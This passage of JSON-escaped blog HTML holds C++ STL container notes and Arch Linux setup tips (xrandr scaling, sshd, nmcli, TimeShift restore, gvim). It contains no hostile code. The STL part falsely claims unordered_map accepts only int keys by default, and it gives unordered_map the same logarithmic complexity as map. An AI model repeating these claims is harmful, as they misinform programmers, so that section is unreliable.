没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e关联式容器: \u003ccode\u003emap, unordered_map, multimap, unordered_multimap, set, unordered_set, multiset, unordered_multiset\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"Map\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Map\" class=\"headerlink\" title=\"Map\"\u003e\u003c/a\u003eMap\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一种基于红黑树的键值对数据结构。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数据插入, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003einsert\u003c/span\u003e({key, value});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key] = value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 移除, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(key)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 搜索, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003ecount\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回匹配特定键的元素数量, 对数复杂度\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003econtains\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eequal_range\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003elower_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eupper_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Unordered-Map\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Unordered-Map\" class=\"headerlink\" title=\"Unordered-Map\"\u003e\u003c/a\u003eUnordered-Map\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unordered_map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e区别于前者使用红黑树实现,它使用哈希函数实现,因此元素无序。\u003c/p\u003e\u003cp\u003e注意,默认情况下,它只支持使用\u003ccode\u003eint\u003c/code\u003e作为键,其他类型是不合法的。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数据插入, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003einsert\u003c/span\u003e({key, value});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key] = value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 移除, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(key)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 搜索, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003ecount\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回匹配特定键的元素数量, 对数复杂度\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003econtains\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eequal_range\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003elower_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eupper_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Set\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Set\" class=\"headerlink\" title=\"Set\"\u003e\u003c/a\u003eSet\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;set\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eset 是一个关键字集合, 其中的关键字 不可重复, 其底层采用红黑树实现, 因此集合中的元素是 有序 的, 在 set 容器上进行的搜索, 插入和移除等操作都是\u003cstrong\u003e对数复杂度\u003c/strong\u003e的.\u003c/p\u003e\u003cp\u003e特有操作:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003elower_bound\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回指向首个不小于给定键的元素的迭代器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eupper_bound\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回指向首个大于给定键的元素的迭代器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eerase_if\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Stack\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Stack\" class=\"headerlink\" title=\"Stack\"\u003e\u003c/a\u003eStack\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stack\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estack\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e(); \u003cspan class=\"comment\"\u003e// get value of top\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// judge whether stack is empty\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Reference\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Reference\" class=\"headerlink\" title=\"Reference\"\u003e\u003c/a\u003eReference\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://stackoverflow.com/questions/5293737/where-are-the-man-pages-for-c\"\u003eStackOverflow - Where are the man pages for C++? [closed]\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://forever97.top/2020/10/21/Re0-2/\"\u003eforever97\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://baike.baidu.com/item/apropos/15852795\"\u003e百度百科 - apropos\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/14/cpp-stl/"},{"title":"Arch Linux折腾笔记","time":"2023-09-05T13:39:57Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cp\u003e参考 Arch Wiki 或者参考这个简化版教程:\u003ca href=\"https://arch.icekylin.online/\"\u003ehttps://arch.icekylin.online/\u003c/a\u003e。过程按照教程一步步折腾就ok,只要注意区分清楚各个分区,别不小心把数据分区给格式化了就行。联网是安装Arch的必须项,所以请保持网络畅通。另外,建议\u003cstrong\u003e安装镜像最好在安装完成后继续保留着\u003c/strong\u003e,应急情况下(比如滚挂了)可以用\u003ccode\u003earch-chroot\u003c/code\u003e来应急重装内核之类的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e至于Arch经常被吐槽滚挂了的原因,主要是源自Arch的更新策略比较激进,更新完成后,会直接删除老内核,比起一般的更新策略更容易出现依赖问题造成“滚挂了“。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e桌面环境、cn源、透明代理之类的配置,也可以参考上面的教程。关于透明代理,也可以参考\u003ca href=\"https://blog.linioi.com/posts/clash-on-arch/\"\u003e这篇文章\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"美化\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E7%BE%8E%E5%8C%96\" class=\"headerlink\" title=\"美化\"\u003e\u003c/a\u003e美化\u003c/h2\u003e\u003cp\u003e这点上因人而异。我装了layan主题之后,再换个壁纸,装个latte就差不多了。我的原则是,美化差不多就行,但是前提是别影响到系统性能。\u003c/p\u003e\u003ch2 id=\"显示适配\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E6%98%BE%E7%A4%BA%E9%80%82%E9%85%8D\" class=\"headerlink\" title=\"显示适配\"\u003e\u003c/a\u003e显示适配\u003c/h2\u003e\u003cp\u003e单显示器的配置很简单,改下dpi缩放就基本ok。如果是多显示器的话,就会复杂一些。参考下面的公式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 假设HiDPI显示器的分辨率是AxB,普通分辨率显示器的分辨率是CxD \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 并且外置显示器的缩放比率是ExF\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003exrandr --output eDP-1 --auto --output HDMI-1 --auto --panning [C*E]x[D*F]+[A]+0 --scale [E]x[F] --right-of eDP-1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e根据上面的公式来设置,基本上能搞定。当然,如果想调整的是内置HiDPI显示器分辨率,就得调整最后\u003ccode\u003epanning\u003c/code\u003e的A为Ax[A的缩放比率]。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cul\u003e\u003cli\u003e[1] \u003ca href=\"https://nmgit.net/2020/139/\"\u003eBarry的笔记\u003c/a\u003e\u003c/li\u003e\u003cli\u003e[2] \u003ca href=\"https://harttle.land/2019/12/24/auto-xrandr.html\"\u003eX11 多显示器配置:玩转 XRandR\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"启用外部ssh连接\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%90%AF%E7%94%A8%E5%A4%96%E9%83%A8ssh%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"启用外部ssh连接\"\u003e\u003c/a\u003e启用外部ssh连接\u003c/h2\u003e\u003cp\u003e如果想从外部连接到Arch的电脑上,只要安装了openssh就行。Arch默认不会启动\u003ccode\u003esshd\u003c/code\u003e,所以我们得手动开启:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esystemctl start sshd\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"在命令行连接Wi-Fi\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%9C%A8%E5%91%BD%E4%BB%A4%E8%A1%8C%E8%BF%9E%E6%8E%A5Wi-Fi\" class=\"headerlink\" title=\"在命令行连接Wi-Fi\"\u003e\u003c/a\u003e在命令行连接Wi-Fi\u003c/h2\u003e\u003cp\u003e在完成安装后,启动NetworkManager:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl \u003cspan class=\"built_in\"\u003eenable\u003c/span\u003e --now NetworkManager\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后使用\u003ccode\u003enmcli\u003c/code\u003e来连接Wi-Fi:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enmcli dev wifi list\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 后面的password部分不指定的话,会自动要求输入\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmcli dev wifi connect \u003cspan class=\"string\"\u003e\u0026#34;SSID\u0026#34;\u003c/span\u003e password \u003cspan class=\"string\"\u003e\u0026#34;password\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"使用TimeShift备份系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E4%BD%BF%E7%94%A8TimeShift%E5%A4%87%E4%BB%BD%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"使用TimeShift备份系统\"\u003e\u003c/a\u003e使用TimeShift备份系统\u003c/h2\u003e\u003cp\u003eTimeShift是一个很好用的系统备份软件,特别是结合了btrfs之后,备份的体积比借助\u003ccode\u003ersync\u003c/code\u003e时更小。\u003c/p\u003e\u003cp\u003e折腾系统时不时可能滚挂,这种时候有个定期创建的映像就很有用了。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo timeshift --list \u003cspan class=\"comment\"\u003e# 获取快照列表\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo timeshift --restore --snapshot \u003cspan class=\"string\"\u003e\u0026#39;20XX-XX-XX_XX-XX-XX\u0026#39;\u003c/span\u003e --skip-grub \u003cspan class=\"comment\"\u003e# 选择一个快照进行还原,并跳过 GRUB 安装,一般来说 GRUB 不需要重新安装\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果恢复后无法使用,用安装盘通过\u003ccode\u003earch-chroot\u003c/code\u003e进去系统,然后手动更改\u003ccode\u003esubvolid\u003c/code\u003e来手动修复,或者直接删除\u003ccode\u003esubvolid\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 获取subvolid\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo btrfs sub list -u /\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 编辑,根据自己情况,修复\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evim /etc/fstab\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"重启显示管理器(Xorg-x2F-Wayland)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E9%87%8D%E5%90%AF%E6%98%BE%E7%A4%BA%E7%AE%A1%E7%90%86%E5%99%A8%EF%BC%88Xorg-x2F-Wayland%EF%BC%89\" class=\"headerlink\" title=\"重启显示管理器(Xorg/Wayland)\"\u003e\u003c/a\u003e重启显示管理器(Xorg/Wayland)\u003c/h2\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl restart display-manager\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Vim\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#Vim\" class=\"headerlink\" title=\"Vim\"\u003e\u003c/a\u003eVim\u003c/h2\u003e\u003cp\u003e装上Arch之后我很快就把Vim装上了。结果发现没法和系统剪贴板联动。在Vim里边检查\u003ccode\u003ehas(clipboard)\u003c/code\u003e之后发现,好像这个Vim不支持剪贴板。\u003c/p\u003e\u003cp\u003e解决方法:装\u003ccode\u003egvim\u003c/code\u003e:\u003ccode\u003esudo pacman -S gvim\u003c/code\u003e。会提示你是否卸载Vim,选是,配置不会删除所以放心删。安装完了之后你就会发现Vim还能用,而且剪贴板功能好了:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230926210217.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"桌面目录映射\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E6%A1%8C%E9%9D%A2%E7%9B%AE%E5%BD%95%E6%98%A0%E5%B0%84\" class=\"headerlink\" title=\"桌面目录映射\"\u003e\u003c/a\u003e桌面目录映射\u003c/h2\u003e\u003cp\u003e今天看到群里一个老哥家目录下的文件都堆到桌面了,顺便了解了一下关于桌面目录映射的问题。因为有时候中文模式创建的家目录下的文件夹都是中文,那个老哥就是改成英文目录的时候遇到了这个问题。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eXDG_DESKTOP_DIR\u003c/code\u003e这个环境变量的介绍,在archWiki上也能翻到。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_Base_Directory\"\u003eXDG_DESKTOP_DIR是一个环境变量,用于指定用户的桌面文件夹的位置。它是XDG Base Directory规范\u003c/a\u003e\u003ca 